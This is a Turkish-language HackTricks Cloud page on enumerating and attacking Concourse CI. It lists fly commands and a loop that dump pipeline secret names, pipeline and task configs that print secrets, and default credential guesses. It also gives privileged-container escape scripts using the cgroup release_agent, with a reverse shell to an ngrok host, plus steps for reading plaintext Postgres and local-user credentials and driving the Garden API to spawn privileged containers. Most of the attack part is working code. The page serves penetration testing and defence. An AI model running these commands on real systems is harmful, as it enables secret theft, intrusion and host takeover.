Concourse Enumeration & Attacks
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Concourse Enumeration & Attacks
User Roles & Permissions
Concourse beş rol ile gelir:
- Concourse Admin: Bu rol yalnızca ana takım (varsayılan başlangıç concourse takımı) sahiplerine verilir. Adminler diğer takımları yapılandırabilir (örn.:
fly set-team,fly destroy-team…). Bu rolün izinleri RBAC tarafından etkilenemez. - owner: Takım sahipleri takım içindeki her şeyi değiştirebilir.
- member: Takım üyeleri takım varlıkları içinde okuyabilir ve yazabilir ancak takım ayarlarını değiştiremez.
- pipeline-operator: Pipeline operatörleri pipeline işlemleri gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler.
- viewer: Takım izleyicileri bir takıma ve onun pipeline’larına “salt okunur” erişime sahiptir.
Note
Ayrıca, owner, member, pipeline-operator ve viewer rollerinin izinleri RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Bunun hakkında daha fazla bilgi için: https://concourse-ci.org/user-roles.html
Concourse’un pipeline’ları Takımlar içinde grupladığını unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline’ları yönetebilecektir ve birden fazla Takım var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir.
Vars & Credential Manager
YAML yapılandırmalarında değerleri ((_source-name_:_secret-path_._secret-field_)) sözdizimini kullanarak yapılandırabilirsiniz.
Belgelerden: source-name isteğe bağlıdır, ve atlandığında, küme genel kimlik yöneticisi kullanılacaktır veya değer statik olarak sağlanabilir.
isteğe bağlı _secret-field_ alınan gizli veride okunacak bir alanı belirtir. Atlandığında, kimlik yöneticisi, alan mevcutsa alınan kimlikten bir ‘varsayılan alan’ okumayı seçebilir.
Ayrıca, secret-path ve secret-field özel karakterler içeriyorsa " ile çevrelenebilir. Örneğin, ((source:"my.secret"."field:1")) secret-path değerini my.secret ve secret-field değerini field:1 olarak ayarlayacaktır.
Static Vars
Statik değişkenler görev adımlarında belirtilebilir:
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
Or using the following fly argümanları:
-vveya--varNAME=VALUEdizesiniVALUEolarak ayarlar.-yveya--yaml-varNAME=VALUEVALUE’yi YAML olarak ayrıştırır veNAMEdeğişkeninin değeri olarak ayarlar.-iveya--instance-varNAME=VALUEVALUE’yi YAML olarak ayrıştırır veNAMEörnek değişkeninin değeri olarak ayarlar. Daha fazla bilgi için Grouping Pipelines sayfasına bakın.-lveya--load-vars-fromFILEFILE’yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar.
Kimlik Bilgisi Yönetimi
Bir Kimlik Bilgisi Yöneticisi’nin bir pipeline’da farklı şekillerde belirtilebileceği yollar vardır, bunu https://concourse-ci.org/creds.html adresinde okuyun.
Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:
- The Vault credential manager
- The CredHub credential manager
- The AWS SSM credential manager
- The AWS Secrets Manager credential manager
- Kubernetes Credential Manager
- The Conjur credential manager
- Caching credentials
- Redacting credentials
- Retrying failed fetches
Caution
Eğer Concourse’a yazma erişiminiz varsa, bu sırları sızdırmak için işler oluşturabilirsiniz çünkü Concourse bunlara erişebilmelidir.
Concourse Sayımı
Bir concourse ortamını saymak için önce geçerli kimlik bilgilerini toplamanız veya muhtemelen bir .flyrc yapılandırma dosyasında bir kimlik doğrulama jetonu bulmanız gerekir.
Giriş ve Mevcut Kullanıcı sayımı
- Giriş yapmak için endpoint, takım adı (varsayılan
main) ve kullanıcının ait olduğu takımı bilmeniz gerekir: fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]- Yapılandırılmış hedefleri alın:
fly targets- Yapılandırılmış hedef bağlantısının hala geçerli olup olmadığını kontrol edin:
fly -t <target> status- Belirtilen hedefe karşı kullanıcının rolünü alın:
fly -t <target> userinfo
Note
API jetonunun varsayılan olarak
$HOME/.flyrciçinde kaydedildiğini unutmayın, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz.
Takımlar & Kullanıcılar
- Takımların bir listesini alın
fly -t <target> teams- Takım içindeki rolleri alın
fly -t <target> get-team -n <team-name>- Kullanıcıların bir listesini alın
fly -t <target> active-users
Pipeline’lar
- Pipeline’ları listeleyin:
fly -t <target> pipelines -a- Pipeline yaml’ını alın (hassas bilgiler tanımda bulunabilir):
fly -t <target> get-pipeline -p <pipeline-name>- Tüm pipeline yapılandırma değişkenlerini alın
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done- Kullanılan tüm pipeline gizli adlarını alın (bir iş oluşturup/ değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz):
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
Containers & Workers
- List workers:
fly -t <target> workers- List containers:
fly -t <target> containers- List builds (to see what is running):
fly -t <target> builds
Concourse Attacks
Credentials Brute-Force
- admin:admin
- test:test
Secrets and params enumeration
Önceki bölümde, pipeline tarafından kullanılan tüm gizli isimleri ve değişkenleri nasıl alabileceğinizi gördük. Değişkenler hassas bilgileri içerebilir ve gizli isimler, onları çalmaya çalışmak için daha sonra faydalı olacaktır.
Session inside running or recently run container
Yeterli ayrıcalıklara sahipseniz (üye rolü veya daha fazlası) pipeline’ları ve rolleri listeleyebilir ve sadece <pipeline>/<job> konteyneri içinde bir oturum açabilirsiniz:
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
Bu izinlerle şunları yapabilirsiniz:
- Konteynerin içindeki gizli bilgileri çalmak
- Düğüm’e kaçmaya çalışmak
- Bulut meta verisi uç noktasını (pod’dan ve mümkünse düğümden) listelemek/suistimal etmek
Pipeline Oluşturma/Düzenleme
Yeterli ayrıcalıklara sahipseniz (üye rolü veya daha fazlası) yeni pipeline’lar oluşturabilir/düzenleyebilirsiniz. Bu örneğe bakın:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
Yeni bir pipeline’ın değiştirilmesi/yapılması ile şunları yapabileceksiniz:
- Gizli anahtarları çalmak (onları dışa vurarak veya konteynere girip
envkomutunu çalıştırarak) - Düğümden kaçmak (size yeterli ayrıcalıklar vererek -
privileged: true) - Bulut meta verisi uç noktasını listelemek/suistimal etmek (pod’dan ve düğümden)
- Oluşturulan pipeline’ı silmek
Özel Görev Çalıştırma
Bu, önceki yönteme benzer, ancak tamamen yeni bir pipeline’ı değiştirmek/yapmak yerine sadece özel bir görevi çalıştırabilirsiniz (bu muhtemelen çok daha gizli olacaktır):
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
Yetkili görevden düğüme kaçış
Önceki bölümlerde concourse ile yetkili bir görevi nasıl çalıştıracağımızı gördük. Bu, konteynerin bir docker konteynerindeki yetkili bayrağa tam olarak aynı erişimi sağlamayacaktır. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha “karmaşık” olabilir.
Aşağıdaki PoC’de, bazı küçük değişikliklerle kaçış yapmak için release_agent’ı kullanacağız:
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Warning
Fark etmiş olabileceğiniz gibi, bu sadece bir normal release_agent kaçışı ve sadece noddaki cmd yolunu değiştirmektedir.
Bir Worker konteynerinden node’a kaçış
Bu durum için küçük bir modifikasyon ile normal bir release_agent kaçışı yeterlidir:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Web konteynerinden node’a kaçış
Web konteynerinde bazı savunmalar devre dışı bırakılmış olsa bile, yaygın ayrıcalıklı bir konteyner olarak çalışmıyor (örneğin, mount yapamazsınız ve yetkiler çok sınırlıdır, bu nedenle konteynerden kaçmanın kolay yolları işe yaramaz).
Ancak, yerel kimlik bilgilerini düz metin olarak saklar:
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
Bu kimlik bilgilerini web sunucusuna giriş yapmak ve ayrıcalıklı bir konteyner oluşturup düğümden kaçmak için kullanabilirsiniz.
Ortamda ayrıca concourse’un kullandığı postgresql örneğine erişim bilgilerini (adres, kullanıcı adı, şifre ve veritabanı gibi diğer bilgiler) bulabilirsiniz:
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil
Warning
Bu sadece hizmetle ilgili bazı ilginç notlar, ancak yalnızca localhost’ta dinlediği için, bu notlar daha önce zaten istismar etmediğimiz bir etki sunmayacak.
Varsayılan olarak her concourse işçi, 7777 numaralı portta bir Garden hizmeti çalıştıracaktır. Bu hizmet, Web yöneticisi tarafından işçiye ne yapması gerektiğini belirtmek için kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:
- Sadece yerel olarak (127..0.0.1) açık ve işçi, özel SSH hizmeti ile Web’e kimlik doğrulaması yaptığında, web sunucusunun her işçi içindeki her Garden hizmeti ile iletişim kurabilmesi için bir tünel oluşturuluyor.
- Web sunucusu, çalışan konteynerleri her birkaç saniyede bir izliyor ve beklenmedik konteynerler siliniyor. Bu nedenle, özel bir konteyner çalıştırmak istiyorsanız, web sunucusu ile garden hizmeti arasındaki iletişimi değiştirmeniz gerekiyor.
Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır:
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
Ancak, düğümün /dev cihazını veya release_agent’ı monte etme gibi teknikler çalışmayacak (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir cihaz var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor.
Note
Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle eğer mevcut işçi tarafından oluşturulan bir ayrıcalıklı konteynerde komutları çalıştırabiliyorsak, düğüme kaçabiliriz.
Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi.
Çalışan bir ayrıcalıklı konteynere girmek
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
Yeni bir ayrıcalıklı konteyner oluşturma
Yeni bir konteyner oluşturmak çok kolaydır (rastgele bir UID çalıştırın) ve üzerinde bir şey çalıştırabilirsiniz:
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
Ancak, web sunucusu her birkaç saniyede bir çalışan konteynerleri kontrol ediyor ve eğer beklenmedik bir tane keşfedilirse, silinecektir. İletişim HTTP üzerinden gerçekleştiği için, beklenmedik konteynerlerin silinmesini önlemek için iletişimi değiştirebilirsiniz:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

